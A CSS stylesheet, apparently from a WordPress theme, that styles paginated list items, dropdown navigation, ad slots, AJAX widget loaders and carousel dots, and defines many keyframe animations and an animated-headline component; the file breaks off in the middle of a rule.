.pcsml-pagination {
	text-align: center;
	margin-bottom: 26px
}
.pcsml-button {
	font-family: var(--pchead-font);
	display: inline-block;
	line-height: 41px;
	padding: 0 20px;
	background-color: var(--pcheading-cl);
	color: var(--pcbg-cl);
	font-size: 16px;
	font-style: normal;
	text-align: center;
	-webkit-transition: background-color .2s ease 0s;
	transition: background-color .2s ease 0s;
	cursor: pointer;
	margin: 0 10px
}
.pcsml-button:hover {
	color: var(--pcbg-cl);
	background-color: var(--pcaccent-cl)
}
.pcsml-button .penciicon-left-chevron {
	font-size: 14px;
	position: relative;
	top: 1px;
	padding-right: 11px
}
.pcsml-button .penciicon-right-chevron {
	font-size: 14px;
	position: relative;
	top: 1px;
	padding-left: 11px
}
.pcsm-disable {
	opacity: .5;
	cursor: default;
	-webkit-user-select: none;
	-moz-user-select: none;
	user-select: none
}
.pcsm-disable:hover {
	background-color: var(--pcheading-cl)
}
.pcsml_style_5 {
	position: relative;
	margin-bottom: 30px
}
@media only screen and (max-width:767px) {
	.pcsml_style_5 {
		margin-top: 20px
	}
}
.pcsml_style_5 .pcsml-ad .pcsml-placeholder-title,
.pcsml_style_5 .pcsml-ad>div {
	margin-bottom: 26px
}
.pcsml_style_5 .pcsml-ad .adsbygoogle {
	margin-bottom: 21px
}
.pcsml_style_5 .pcsml-item .pcsml-pagination {
	position: relative;
	display: inline-block;
	margin-bottom: 26px
}
.pcsml_style_5 .pcsml-head {
	position: relative
}
.pcsml_style_5 h1,
.pcsml_style_5 h2,
.pcsml_style_5 h3,
.pcsml_style_5 h4,
.pcsml_style_5 h5,
.pcsml_style_5 h6 {
	margin-top: 0;
	margin-bottom: 18px;
	padding: 0 120px;
	min-height: 42px;
	text-align: center;
	line-height: 1
}
.pcsml_style_5 .pcsml-item-title {
	display: inline-block;
	margin-top: 6px;
	margin-bottom: 8px;
	width: 100%;
	font-size: 22px;
	line-height: 28px
}
.pcsml_style_5 .pcsml-desc {
	margin-top: 0
}
.pcsml_style_5 .pcsml-figure img {
	margin-top: 26px;
	width: 100%
}
.pcsml_style_5 .pcsml-figure {
	text-align: center;
	display: table;
	margin-left: auto;
	margin-right: auto
}
.pcsml_style_5 .pcsml-caption {
	text-align: left
}
.pcsml_style_5 .pcsml-pagination {
	display: inline-block;
	width: 100%;
	top: 0;
	margin-bottom: 0
}
.pcsml_style_5 .pcsml-pagination .pcsml-button {
	margin: 0
}
.pcsml_style_5 .pcsml-pagination .pcsm-back {
	float: left
}
.pcsml_style_5 .pcsml-pagination .pcsm-next {
	float: right
}
@media only screen and (min-width:768px) and (max-width:1018px) {
	.pcsml_style_5 .pcsml-item-title {
		margin-top: 10px;
		line-height: 24px;
		font-size: 19px
	}
}
@media only screen and (max-width:767px) {
	.pcsml_style_5 .pcsml-item .pcsml-pagination {
		margin-bottom: 0
	}
	.pcsml_style_5 h1,
	.pcsml_style_5 h2,
	.pcsml_style_5 h3,
	.pcsml_style_5 h4,
	.pcsml_style_5 h5,
	.pcsml_style_5 h6 {
		margin-bottom: 0;
		padding: 0;
		min-height: 0
	}
	.pcsml_style_5 .pcsml-item-title {
		margin-top: 10px;
		text-align: left;
		line-height: 30px;
		font-weight: 500;
		font-size: 26px
	}
}
@media only screen and (min-width:767px) {
	.pcsml_style_5 .pcsml-head .pcsml-pagination {
		position: absolute;
		top: 50%;
		-webkit-transform: translateY(-50%);
		transform: translateY(-50%)
	}
}
.pcsml-dropdown-wrap {
	text-align: center;
	border: 1px solid var(--pcborder-cl);
	margin-bottom: 30px;
	clear: both
}
.pcsml-dropdown-wrap .pcsml-dropdown {
	height: 30px;
	padding: 0 35px 0 10px;
	margin: 10px 0;
	overflow: hidden;
	background-color: var(--pcbg-cl);
	border: none;
	box-shadow: none;
	-webkit-appearance: none;
	appearance: none;
	outline: 0;
	font-family: var(--pchead-font);
	max-width: 100%;
	text-overflow: ellipsis;
	cursor: pointer;
	font-size: 16px
}
.pcsml-dropdown-wrap .pcsml-dropdown option {
	font-size: 14px
}
.pcsml-dropdown-wrap .pcsml-dropdown::-ms-expand {
	display: none
}
.pcsml-dropdown-wrap .pcsml-container {
	display: inline-block;
	position: relative;
	width: 50%
}
.pcsml-dropdown-wrap .pcsml-container:before {
	content: "";
	width: 0;
	height: 0;
	position: absolute;
	top: 50%;
	right: 16px;
	z-index: 0;
	border-left: 5px solid transparent;
	border-right: 5px solid transparent;
	border-top: 5px solid #000;
	pointer-events: none;
	transform: translateY(-40%)
}
.pcsml-dropdown-wrap .pcsml-button {
	font-family: var(--pchead-font);
	line-height: 40px;
	font-size: 16px;
	font-style: normal;
	text-align: center;
	-webkit-transition: background-color .2s ease 0s;
	transition: background-color .2s ease 0s;
	cursor: pointer;
	padding: 2px 18px;
	margin: 0;
	background-color: transparent;
	color: var(--pctext-cl) !important
}
.pcsml-dropdown-wrap .pcsml-button i {
	font-size: 12px;
	position: relative;
	top: 1px
}
.pcsml-dropdown-wrap .pcsml-button .penciicon-left-chevron {
	padding-right: 6px
}
.pcsml-dropdown-wrap .pcsml-button .penciicon-right-chevron {
	padding-left: 6px
}
.pcsml-dropdown-wrap .pcsml-button:hover {
	text-decoration: none !important;
	color: var(--pcaccent-cl)
}
.pcsml-dropdown-wrap .pcsm-disable {
	opacity: .5;
	cursor: default;
	-webkit-user-select: none;
	user-select: none
}
.pcsml-dropdown-wrap .pcsm-disable:hover {
	color: var(--pcheading-cl)
}
.pcsml-dropdown-wrap .pcsm-next {
	text-align: right;
	width: 25%;
	display: inline-block
}
.pcsml-dropdown-wrap .pcsm-back {
	text-align: left;
	width: 25%;
	display: inline-block
}
@media only screen and (min-width:768px) and (max-width:1018px) {
	.pcsml-dropdown-wrap .pcsml-dropdown {
		max-width: 50%
	}
}
@media only screen and (max-width:767px) {
	.pcsml-dropdown-wrap .pcsml-dropdown option {
		text-align: left
	}
	.pcsml-dropdown-wrap .pcsml-button {
		width: 15%
	}
	.pcsml-dropdown-wrap .pcsml-container {
		width: 70%
	}
	.pcsml-dropdown-wrap .pcsml-button i {
		display: inline;
		top: 0
	}
	.pcsml-dropdown-wrap .pcsml-button span {
		display: none
	}
}
.pcsml_style_6 .pcsml-ad>div {
	margin-bottom: 15px
}
.pcsml_style_6 .pcsml-ad .adsbygoogle {
	margin-bottom: 15px
}
.pcsml_style_6 .pcsml-ad .pcsml-placeholder-title {
	margin-bottom: 15px
}
.pcsml_style_6 {
	position: relative
}
.pcsml_style_6 .pcsml-title-wrapper {
	margin-bottom: 15px
}
.pcsml_style_6 .pcsml-title-wrapper h1,
.pcsml_style_6 .pcsml-title-wrapper h2,
.pcsml_style_6 .pcsml-title-wrapper h3,
.pcsml_style_6 .pcsml-title-wrapper h4,
.pcsml_style_6 .pcsml-title-wrapper h5,
.pcsml_style_6 .pcsml-title-wrapper h6 {
	margin: 5px 0 0;
	line-height: 30px
}
.pcsml_style_6 .pcsml-item-title {
	font-size: 22px;
	line-height: 26px
}
.pcsml_style_6 .pcsml-desc {
	margin-top: 0;
	margin-bottom: 25px
}
.pcsml_style_6 .pcsml-desc .aligncenter {
	margin-top: 20px
}
.pcsml-desc p:empty {
	display: none
}
.post-entry .pcsml-desc>ol:last-child,
.post-entry .pcsml-desc>p:last-child,
.post-entry .pcsml-desc>ul:last-child {
	margin-bottom: 0
}
.widget .penci-pagination {
	margin-top: 20px;
	margin-bottom: 0
}
.widget .penci-pagination a {
	text-decoration: none
}
.penci-pagination.penci-ajax-nav .pcajx-btn {
	align-items: center;
	display: flex;
	min-width: 35px;
	font-size: 12px;
	border: 1px solid var(--pcborder-cl);
	cursor: pointer;
	transition: .3s all ease-in-out;
	padding: 0 10px
}
.penci-pagination.penci-ajax-nav .pcnav-title {
	padding: 0 5px;
	font-size: 12px;
	font-weight: var(--pchead-wei);
	font-family: var(--pchead-font);
	text-transform: uppercase
}
.penci-pagination.penci-ajax-nav .pcajx-btn:not(.disable):hover {
	border-color: var(--pcaccent-cl);
	background-color: var(--pcaccent-cl);
	color: #fff
}
.penci-pagination.penci-ajax-nav .pcajx-btn.disable {
	opacity: .5
}
.penci-pagination.penci-ajax-nav .pcajx-btn.disable:hover {
	cursor: not-allowed
}
.penci-pagination.penci-ajax-nav .pcajx-btn i {
	line-height: 30px
}
.penci-custom-slides .penci-owl-carousel.pcdots-number .penci-owl-dots,
.penci-owl-carousel.pcdots-number .penci-owl-dots {
	counter-reset: penci-dots-counter
}
.penci-custom-slides .penci-owl-carousel.pcdots-number .penci-owl-dot span,
.penci-owl-carousel.pcdots-number .penci-owl-dot span {
	width: auto;
	height: auto;
	background: 0 0;
	border: none;
	font-family: var(--pchead-font);
	white-space: nowrap;
	line-height: 1;
	font-weight: var(--pchead-wei);
	color: #fff;
	margin-left: 10px;
	margin-right: 10px;
	font-size: 14px
}
.penci-custom-slides .penci-owl-carousel.pcdots-number.line .penci-owl-dot span,
.penci-owl-carousel.pcdots-number.line .penci-owl-dot span {
	margin-left: 0;
	margin-right: 0
}
.penci-custom-slides .penci-owl-carousel.pcdots-number:not(.line) .penci-owl-dot span:before,
.penci-owl-carousel.pcdots-number:not(.line) .penci-owl-dot span:before {
	counter-increment: penci-dots-counter;
	content: "0"counter(penci-dots-counter)
}
.penci-custom-slides .penci-owl-carousel.pcdots-number .penci-owl-dot span:after,
.penci-owl-carousel.pcdots-number .penci-owl-dot span:after {
	content: "";
	width: 15px;
	height: 2px;
	background-color: currentColor;
	transition: width .3s ease;
	vertical-align: middle;
	display: inline-block;
	margin: 0 0 0 5px
}
.penci-custom-slides .penci-owl-carousel.pcdots-number .penci-owl-dot.active span:after,
.penci-owl-carousel.pcdots-number .penci-owl-dot.active span:after {
	width: 30px
}
.penci-custom-slides.penci-jarallax {
	width: auto;
	padding-top: 0
}
.widget .penci-pagination.penci-ajax-nav {
	display: flex;
	flex-wrap: wrap;
	flex-direction: row;
	justify-content: space-between
}
.widget {
	position: relative
}
.widget .pcwgajx-ld-wrapper {
	position: absolute;
	top: 0;
	left: 0;
	right: 0;
	bottom: 0;
	z-index: 9;
	visibility: hidden
}
.widget.ajx-loading .pcwgajx-ld-wrapper {
	visibility: visible
}
.widget.ajx-loading ul {
	opacity: .5
}
.widget.ajx-loading .penci-loader-effect {
	display: block
}
@-webkit-keyframes pcani-dash {
	0% {
		stroke-dasharray: 0 1500
	}
	15% {
		stroke-dasharray: 1500 1500
	}
	85% {
		opacity: 1
	}
	90% {
		stroke-dasharray: 1500 1500;
		opacity: 0
	}
	100% {
		stroke-dasharray: 0 1500;
		opacity: 0
	}
}
@keyframes pcani-dash {
	0% {
		stroke-dasharray: 0 1500
	}
	15% {
		stroke-dasharray: 1500 1500
	}
	85% {
		opacity: 1
	}
	90% {
		stroke-dasharray: 1500 1500;
		opacity: 0
	}
	100% {
		stroke-dasharray: 0 1500;
		opacity: 0
	}
}
@-webkit-keyframes pcani-pulse {
	0% {
		-webkit-transform: translateY(-50%) scale(1);
		transform: translateY(-50%) scale(1);
		opacity: 1
	}
	40% {
		-webkit-transform: translateY(-50%) scale(.9);
		transform: translateY(-50%) scale(.9);
		opacity: 0
	}
	100% {
		-webkit-transform: translateY(-50%) scale(0);
		transform: translateY(-50%) scale(0);
		opacity: 0
	}
}
@keyframes pcani-pulse {
	0% {
		-webkit-transform: translateY(-50%) scale(1);
		transform: translateY(-50%) scale(1);
		opacity: 1
	}
	40% {
		-webkit-transform: translateY(-50%) scale(.9);
		transform: translateY(-50%) scale(.9);
		opacity: 0
	}
	100% {
		-webkit-transform: translateY(-50%) scale(0);
		transform: translateY(-50%) scale(0);
		opacity: 0
	}
}
@-webkit-keyframes pcani-swirl-in {
	0% {
		opacity: 0;
		-webkit-transform: translateZ(-20px) rotateX(90deg);
		transform: translateZ(-20px) rotateX(90deg)
	}
	60% {
		opacity: 1;
		-webkit-transform: translateZ(-20px) rotateX(-10deg);
		transform: translateZ(-20px) rotateX(-10deg)
	}
	100% {
		opacity: 1;
		-webkit-transform: translateZ(-20px) rotateX(0);
		transform: translateZ(-20px) rotateX(0)
	}
}
@keyframes pcani-swirl-in {
	0% {
		opacity: 0;
		-webkit-transform: translateZ(-20px) rotateX(90deg);
		transform: translateZ(-20px) rotateX(90deg)
	}
	60% {
		opacity: 1;
		-webkit-transform: translateZ(-20px) rotateX(-10deg);
		transform: translateZ(-20px) rotateX(-10deg)
	}
	100% {
		opacity: 1;
		-webkit-transform: translateZ(-20px) rotateX(0);
		transform: translateZ(-20px) rotateX(0)
	}
}
@-webkit-keyframes pcani-blinds-in {
	0% {
		-webkit-transform: rotateY(180deg);
		transform: rotateY(180deg)
	}
	100% {
		-webkit-transform: rotateY(0);
		transform: rotateY(0)
	}
}
@keyframes pcani-blinds-in {
	0% {
		-webkit-transform: rotateY(180deg);
		transform: rotateY(180deg)
	}
	100% {
		-webkit-transform: rotateY(0);
		transform: rotateY(0)
	}
}
@-webkit-keyframes pcani-wave-up {
	0% {
		-webkit-transform: scale(0);
		transform: scale(0);
		opacity: 0
	}
	60% {
		-webkit-transform: scale(1.2);
		transform: scale(1.2);
		opacity: 1
	}
	100% {
		-webkit-transform: scale(1);
		transform: scale(1);
		opacity: 1
	}
}
@keyframes pcani-wave-up {
	0% {
		-webkit-transform: scale(0);
		transform: scale(0);
		opacity: 0
	}
	60% {
		-webkit-transform: scale(1.2);
		transform: scale(1.2);
		opacity: 1
	}
	100% {
		-webkit-transform: scale(1);
		transform: scale(1);
		opacity: 1
	}
}
@-webkit-keyframes pcani-flip-in {
	0% {
		-webkit-transform: rotateX(180deg);
		transform: rotateX(180deg);
		opacity: 0
	}
	35% {
		-webkit-transform: rotateX(120deg);
		transform: rotateX(120deg);
		opacity: 0
	}
	65% {
		opacity: 0
	}
	100% {
		-webkit-transform: rotateX(360deg);
		transform: rotateX(360deg);
		opacity: 1
	}
}
@keyframes pcani-flip-in {
	0% {
		-webkit-transform: rotateX(180deg);
		transform: rotateX(180deg);
		opacity: 0
	}
	35% {
		-webkit-transform: rotateX(120deg);
		transform: rotateX(120deg);
		opacity: 0
	}
	65% {
		opacity: 0
	}
	100% {
		-webkit-transform: rotateX(360deg);
		transform: rotateX(360deg);
		opacity: 1
	}
}
@-webkit-keyframes pcani-flip-out {
	0% {
		-webkit-transform: rotateX(0);
		transform: rotateX(0);
		opacity: 1
	}
	35% {
		-webkit-transform: rotateX(-40deg);
		transform: rotateX(-40deg);
		opacity: 0
	}
	65% {
		opacity: 0
	}
	100% {
		-webkit-transform: rotateX(180deg);
		transform: rotateX(180deg);
		opacity: 0
	}
}
@keyframes pcani-flip-out {
	0% {
		-webkit-transform: rotateX(0);
		transform: rotateX(0);
		opacity: 1
	}
	35% {
		-webkit-transform: rotateX(-40deg);
		transform: rotateX(-40deg);
		opacity: 0
	}
	65% {
		opacity: 0
	}
	100% {
		-webkit-transform: rotateX(180deg);
		transform: rotateX(180deg);
		opacity: 0
	}
}
@-webkit-keyframes pcani-drop-in-in {
	0% {
		opacity: 0;
		-webkit-transform: translateZ(100px);
		transform: translateZ(100px)
	}
	100% {
		opacity: 1;
		-webkit-transform: translateZ(0);
		transform: translateZ(0)
	}
}
@keyframes pcani-drop-in-in {
	0% {
		opacity: 0;
		-webkit-transform: translateZ(100px);
		transform: translateZ(100px)
	}
	100% {
		opacity: 1;
		-webkit-transform: translateZ(0);
		transform: translateZ(0)
	}
}
@-webkit-keyframes pcani-drop-in-out {
	0% {
		opacity: 1;
		-webkit-transform: translateZ(0);
		transform: translateZ(0)
	}
	100% {
		opacity: 0;
		-webkit-transform: translateZ(-100px);
		transform: translateZ(-100px)
	}
}
@keyframes pcani-drop-in-out {
	0% {
		opacity: 1;
		-webkit-transform: translateZ(0);
		transform: translateZ(0)
	}
	100% {
		opacity: 0;
		-webkit-transform: translateZ(-100px);
		transform: translateZ(-100px)
	}
}
@-webkit-keyframes pcani-slide-right-in {
	0% {
		opacity: 0;
		-webkit-transform: translateX(-100%);
		transform: translateX(-100%)
	}
	60% {
		opacity: 1;
		-webkit-transform: translateX(10%);
		transform: translateX(10%)
	}
	100% {
		opacity: 1;
		-webkit-transform: translateX(0);
		transform: translateX(0)
	}
}
@keyframes pcani-slide-right-in {
	0% {
		opacity: 0;
		-webkit-transform: translateX(-100%);
		transform: translateX(-100%)
	}
	60% {
		opacity: 1;
		-webkit-transform: translateX(10%);
		transform: translateX(10%)
	}
	100% {
		opacity: 1;
		-webkit-transform: translateX(0);
		transform: translateX(0)
	}
}
@-webkit-keyframes pcani-slide-right-out {
	0% {
		opacity: 1;
		-webkit-transform: translateX(0);
		transform: translateX(0)
	}
	60% {
		opacity: 0;
		-webkit-transform: translateX(110%);
		transform: translateX(110%)
	}
	100% {
		opacity: 0;
		-webkit-transform: translateX(100%);
		transform: translateX(100%)
	}
}
@keyframes pcani-slide-right-out {
	0% {
		opacity: 1;
		-webkit-transform: translateX(0);
		transform: translateX(0)
	}
	60% {
		opacity: 0;
		-webkit-transform: translateX(110%);
		transform: translateX(110%)
	}
	100% {
		opacity: 0;
		-webkit-transform: translateX(100%);
		transform: translateX(100%)
	}
}
@-webkit-keyframes pcani-slide-left-in {
	0% {
		opacity: 0;
		-webkit-transform: translateX(100%);
		transform: translateX(100%)
	}
	60% {
		opacity: 1;
		-webkit-transform: translateX(-10%);
		transform: translateX(-10%)
	}
	100% {
		opacity: 1;
		-webkit-transform: translateX(0);
		transform: translateX(0)
	}
}
@keyframes pcani-slide-left-in {
	0% {
		opacity: 0;
		-webkit-transform: translateX(100%);
		transform: translateX(100%)
	}
	60% {
		opacity: 1;
		-webkit-transform: translateX(-10%);
		transform: translateX(-10%)
	}
	100% {
		opacity: 1;
		-webkit-transform: translateX(0);
		transform: translateX(0)
	}
}
@-webkit-keyframes pcani-slide-left-out {
	0% {
		opacity: 1;
		-webkit-transform: translateX(0);
		transform: translateX(0)
	}
	60% {
		opacity: 0;
		-webkit-transform: translateX(-110%);
		transform: translateX(-110%)
	}
	100% {
		opacity: 0;
		-webkit-transform: translateX(-100%);
		transform: translateX(-100%)
	}
}
@keyframes pcani-slide-left-out {
	0% {
		opacity: 1;
		-webkit-transform: translateX(0);
		transform: translateX(0)
	}
	60% {
		opacity: 0;
		-webkit-transform: translateX(-110%);
		transform: translateX(-110%)
	}
	100% {
		opacity: 0;
		-webkit-transform: translateX(-100%);
		transform: translateX(-100%)
	}
}
@-webkit-keyframes pcani-slide-up-in {
	0% {
		opacity: 0;
		-webkit-transform: translateY(100%);
		transform: translateY(100%)
	}
	60% {
		opacity: 1;
		-webkit-transform: translateY(-20%);
		transform: translateY(-20%)
	}
	100% {
		opacity: 1;
		-webkit-transform: translateY(0);
		transform: translateY(0)
	}
}
@keyframes pcani-slide-up-in {
	0% {
		opacity: 0;
		-webkit-transform: translateY(100%);
		transform: translateY(100%)
	}
	60% {
		opacity: 1;
		-webkit-transform: translateY(-20%);
		transform: translateY(-20%)
	}
	100% {
		opacity: 1;
		-webkit-transform: translateY(0);
		transform: translateY(0)
	}
}
@-webkit-keyframes pcani-slide-up-out {
	0% {
		opacity: 1;
		-webkit-transform: translateY(0);
		transform: translateY(0)
	}
	60% {
		opacity: 0;
		-webkit-transform: translateY(-120%);
		transform: translateY(-120%)
	}
	100% {
		opacity: 0;
		-webkit-transform: translateY(-100%);
		transform: translateY(-100%)
	}
}
@keyframes pcani-slide-up-out {
	0% {
		opacity: 1;
		-webkit-transform: translateY(0);
		transform: translateY(0)
	}
	60% {
		opacity: 0;
		-webkit-transform: translateY(-120%);
		transform: translateY(-120%)
	}
	100% {
		opacity: 0;
		-webkit-transform: translateY(-100%);
		transform: translateY(-100%)
	}
}
@-webkit-keyframes pcani-slide-down-in {
	0% {
		opacity: 0;
		-webkit-transform: translateY(-100%);
		transform: translateY(-100%)
	}
	60% {
		opacity: 1;
		-webkit-transform: translateY(20%);
		transform: translateY(20%)
	}
	100% {
		opacity: 1;
		-webkit-transform: translateY(0);
		transform: translateY(0)
	}
}
@keyframes pcani-slide-down-in {
	0% {
		opacity: 0;
		-webkit-transform: translateY(-100%);
		transform: translateY(-100%)
	}
	60% {
		opacity: 1;
		-webkit-transform: translateY(20%);
		transform: translateY(20%)
	}
	100% {
		opacity: 1;
		-webkit-transform: translateY(0);
		transform: translateY(0)
	}
}
@-webkit-keyframes pcani-slide-down-out {
	0% {
		opacity: 1;
		-webkit-transform: translateY(0);
		transform: translateY(0)
	}
	60% {
		opacity: 0;
		-webkit-transform: translateY(120%);
		transform: translateY(120%)
	}
	100% {
		opacity: 0;
		-webkit-transform: translateY(100%);
		transform: translateY(100%)
	}
}
@keyframes pcani-slide-down-out {
	0% {
		opacity: 1;
		-webkit-transform: translateY(0);
		transform: translateY(0)
	}
	60% {
		opacity: 0;
		-webkit-transform: translateY(120%);
		transform: translateY(120%)
	}
	100% {
		opacity: 0;
		-webkit-transform: translateY(100%);
		transform: translateY(100%)
	}
}
@-webkit-keyframes pcani-bounce-in {
	0%,
	20%,
	40%,
	60%,
	80%,
	to {
		-webkit-animation-timing-function: cubic-bezier(.215, .61, .355, 1);
		animation-timing-function: cubic-bezier(.215, .61, .355, 1)
	}
	0% {
		opacity: 0;
		-webkit-transform: scale3d(.3, .3, .3);
		transform: scale3d(.3, .3, .3)
	}
	20% {
		-webkit-transform: scale3d(1.1, 1.1, 1.1);
		transform: scale3d(1.1, 1.1, 1.1)
	}
	40% {
		-webkit-transform: scale3d(.9, .9, .9);
		transform: scale3d(.9, .9, .9)
	}
	60% {
		opacity: 1;
		-webkit-transform: scale3d(1.03, 1.03, 1.03);
		transform: scale3d(1.03, 1.03, 1.03)
	}
	80% {
		-webkit-transform: scale3d(.97, .97, .97);
		transform: scale3d(.97, .97, .97)
	}
	to {
		opacity: 1;
		-webkit-transform: scaleX(1);
		transform: scaleX(1)
	}
}
@keyframes pcani-bounce-in {
	0%,
	20%,
	40%,
	60%,
	80%,
	to {
		-webkit-animation-timing-function: cubic-bezier(.215, .61, .355, 1);
		animation-timing-function: cubic-bezier(.215, .61, .355, 1)
	}
	0% {
		opacity: 0;
		-webkit-transform: scale3d(.3, .3, .3);
		transform: scale3d(.3, .3, .3)
	}
	20% {
		-webkit-transform: scale3d(1.1, 1.1, 1.1);
		transform: scale3d(1.1, 1.1, 1.1)
	}
	40% {
		-webkit-transform: scale3d(.9, .9, .9);
		transform: scale3d(.9, .9, .9)
	}
	60% {
		opacity: 1;
		-webkit-transform: scale3d(1.03, 1.03, 1.03);
		transform: scale3d(1.03, 1.03, 1.03)
	}
	80% {
		-webkit-transform: scale3d(.97, .97, .97);
		transform: scale3d(.97, .97, .97)
	}
	to {
		opacity: 1;
		-webkit-transform: scaleX(1);
		transform: scaleX(1)
	}
}
@-webkit-keyframes pcani-bounce-out {
	20% {
		-webkit-transform: scale3d(.9, .9, .9);
		transform: scale3d(.9, .9, .9)
	}
	50%,
	55% {
		opacity: 0;
		-webkit-transform: scale3d(1.1, 1.1, 1.1);
		transform: scale3d(1.1, 1.1, 1.1)
	}
	to {
		opacity: 0;
		-webkit-transform: scale3d(.3, .3, .3);
		transform: scale3d(.3, .3, .3)
	}
}
@keyframes pcani-bounce-out {
	20% {
		-webkit-transform: scale3d(.9, .9, .9);
		transform: scale3d(.9, .9, .9)
	}
	50%,
	55% {
		opacity: 0;
		-webkit-transform: scale3d(1.1, 1.1, 1.1);
		transform: scale3d(1.1, 1.1, 1.1)
	}
	to {
		opacity: 0;
		-webkit-transform: scale3d(.3, .3, .3);
		transform: scale3d(.3, .3, .3)
	}
}
@-webkit-keyframes pcani-swing-in {
	20% {
		-webkit-transform: rotate(15deg);
		transform: rotate(15deg)
	}
	40% {
		-webkit-transform: rotate(-10deg);
		transform: rotate(-10deg)
	}
	60% {
		-webkit-transform: rotate(5deg);
		transform: rotate(5deg)
	}
	80% {
		-webkit-transform: rotate(-5deg);
		transform: rotate(-5deg)
	}
	to {
		-webkit-transform: rotate(0);
		transform: rotate(0)
	}
}
@keyframes pcani-swing-in {
	20% {
		-webkit-transform: rotate(15deg);
		transform: rotate(15deg)
	}
	40% {
		-webkit-transform: rotate(-10deg);
		transform: rotate(-10deg)
	}
	60% {
		-webkit-transform: rotate(5deg);
		transform: rotate(5deg)
	}
	80% {
		-webkit-transform: rotate(-5deg);
		transform: rotate(-5deg)
	}
	to {
		-webkit-transform: rotate(0);
		transform: rotate(0)
	}
}
@-webkit-keyframes pcani-swing-out {
	20% {
		-webkit-transform: rotate(0);
		transform: rotate(0)
	}
	40% {
		-webkit-transform: rotate(-5deg);
		transform: rotate(-5deg)
	}
	60% {
		-webkit-transform: rotate(10deg);
		transform: rotate(10deg)
	}
	80% {
		-webkit-transform: rotate(-15deg);
		transform: rotate(-15deg)
	}
	to {
		-webkit-transform: rotate(15deg);
		transform: rotate(15deg)
	}
}
@keyframes pcani-swing-out {
	20% {
		-webkit-transform: rotate(0);
		transform: rotate(0)
	}
	40% {
		-webkit-transform: rotate(-5deg);
		transform: rotate(-5deg)
	}
	60% {
		-webkit-transform: rotate(10deg);
		transform: rotate(10deg)
	}
	80% {
		-webkit-transform: rotate(-15deg);
		transform: rotate(-15deg)
	}
	to {
		-webkit-transform: rotate(15deg);
		transform: rotate(15deg)
	}
}
@-webkit-keyframes pcani-rubber-band-in {
	0% {
		-webkit-transform: scaleX(1);
		transform: scaleX(1)
	}
	30% {
		-webkit-transform: scale3d(1.25, .75, 1);
		transform: scale3d(1.25, .75, 1)
	}
	40% {
		-webkit-transform: scale3d(.75, 1.25, 1);
		transform: scale3d(.75, 1.25, 1)
	}
	50% {
		-webkit-transform: scale3d(1.15, .85, 1);
		transform: scale3d(1.15, .85, 1)
	}
	65% {
		-webkit-transform: scale3d(.95, 1.05, 1);
		transform: scale3d(.95, 1.05, 1)
	}
	75% {
		-webkit-transform: scale3d(1.05, .95, 1);
		transform: scale3d(1.05, .95, 1)
	}
	to {
		-webkit-transform: scaleX(1);
		transform: scaleX(1)
	}
}
@keyframes pcani-rubber-band-in {
	0% {
		-webkit-transform: scaleX(1);
		transform: scaleX(1)
	}
	30% {
		-webkit-transform: scale3d(1.25, .75, 1);
		transform: scale3d(1.25, .75, 1)
	}
	40% {
		-webkit-transform: scale3d(.75, 1.25, 1);
		transform: scale3d(.75, 1.25, 1)
	}
	50% {
		-webkit-transform: scale3d(1.15, .85, 1);
		transform: scale3d(1.15, .85, 1)
	}
	65% {
		-webkit-transform: scale3d(.95, 1.05, 1);
		transform: scale3d(.95, 1.05, 1)
	}
	75% {
		-webkit-transform: scale3d(1.05, .95, 1);
		transform: scale3d(1.05, .95, 1)
	}
	to {
		-webkit-transform: scaleX(1);
		transform: scaleX(1)
	}
}
@-webkit-keyframes pcani-rubber-band-out {
	0% {
		-webkit-transform: scaleX(1);
		transform: scaleX(1)
	}
	30% {
		-webkit-transform: scale3d(1.05, .95, 1);
		transform: scale3d(1.05, .95, 1)
	}
	40% {
		-webkit-transform: scale3d(.95, 1.05, 1);
		transform: scale3d(.95, 1.05, 1)
	}
	50% {
		-webkit-transform: scale3d(1.15, .85, 1);
		transform: scale3d(1.15, .85, 1)
	}
	65% {
		-webkit-transform: scale3d(.75, 1.25, 1);
		transform: scale3d(.75, 1.25, 1)
	}
	75% {
		-webkit-transform: scale3d(1.25, .75, 1);
		transform: scale3d(1.25, .75, 1)
	}
	to {
		-webkit-transform: scaleX(1);
		transform: scaleX(1)
	}
}
@keyframes pcani-rubber-band-out {
	0% {
		-webkit-transform: scaleX(1);
		transform: scaleX(1)
	}
	30% {
		-webkit-transform: scale3d(1.05, .95, 1);
		transform: scale3d(1.05, .95, 1)
	}
	40% {
		-webkit-transform: scale3d(.95, 1.05, 1);
		transform: scale3d(.95, 1.05, 1)
	}
	50% {
		-webkit-transform: scale3d(1.15, .85, 1);
		transform: scale3d(1.15, .85, 1)
	}
	65% {
		-webkit-transform: scale3d(.75, 1.25, 1);
		transform: scale3d(.75, 1.25, 1)
	}
	75% {
		-webkit-transform: scale3d(1.25, .75, 1);
		transform: scale3d(1.25, .75, 1)
	}
	to {
		-webkit-transform: scaleX(1);
		transform: scaleX(1)
	}
}
.penci-animated-headline {
	--pcaccent-cl-dk: var(--pcheading-cl);
	position: relative
}
.penci-animated-headline .pc-textlink {
	position: absolute;
	top: 0;
	left: 0;
	right: 0;
	bottom: 0;
	z-index: 2
}
.penci-animated-headline {
	-webkit-transition: all .3s ease;
	transition: all .3s ease
}
.penci-animated-headline a {
	text-decoration: none;
	color: var(--pcaccent-cl)
}
.penci-animated-headline .penci-animated-text {
	padding: 0;
	margin: 0;
	display: inline-block
}
.penci-animated-headline .penci-animated-text .normal-text {
	z-index: 1;
	position: relative;
	vertical-align: bottom;
	font-size: 43px;
	font-weight: 500;
	line-height: 1.2
}
.penci-animated-headline .penci-animated-text .normal-text.style-gradient {
	background: var(--pcaccent-cl-dk);
	background: -webkit-gradient(linear, left top, left bottom, from(var(--pcaccent-cl)), to(var(--pcaccent-cl-dk)));
	background: linear-gradient(180deg, var(--pcaccent-cl) 0, var(--pcaccent-cl-dk) 100%);
	-moz-text-fill-color: transparent;
	-o-text-fill-color: transparent;
	-webkit-text-fill-color: transparent;
	background-clip: text;
	-webkit-background-clip: text
}
.penci-animated-headline .penci-animated-text .dynamic-wrapper {
	overflow: visible;
	text-align: inherit;
	display: inline-block;
	position: relative;
	vertical-align: bottom
}
.penci-animated-headline .penci-animated-text .dynamic-wrapper.style-gradient .dynamic-text {
	background: var(--pcaccent-cl-dk);
	background: -webkit-gradient(linear, left top, left bottom, from(var(--pcaccent-cl)), to(var(--pcaccent-cl-dk)));
	background: linear-gradient(180deg, var(--pcaccent-cl) 0, var(--pcaccent-cl-dk) 100%);
	-moz-text-fill-color: transparent;
	-o-text-fill-color: transparent;
	-webkit-text-fill-color: transparent;
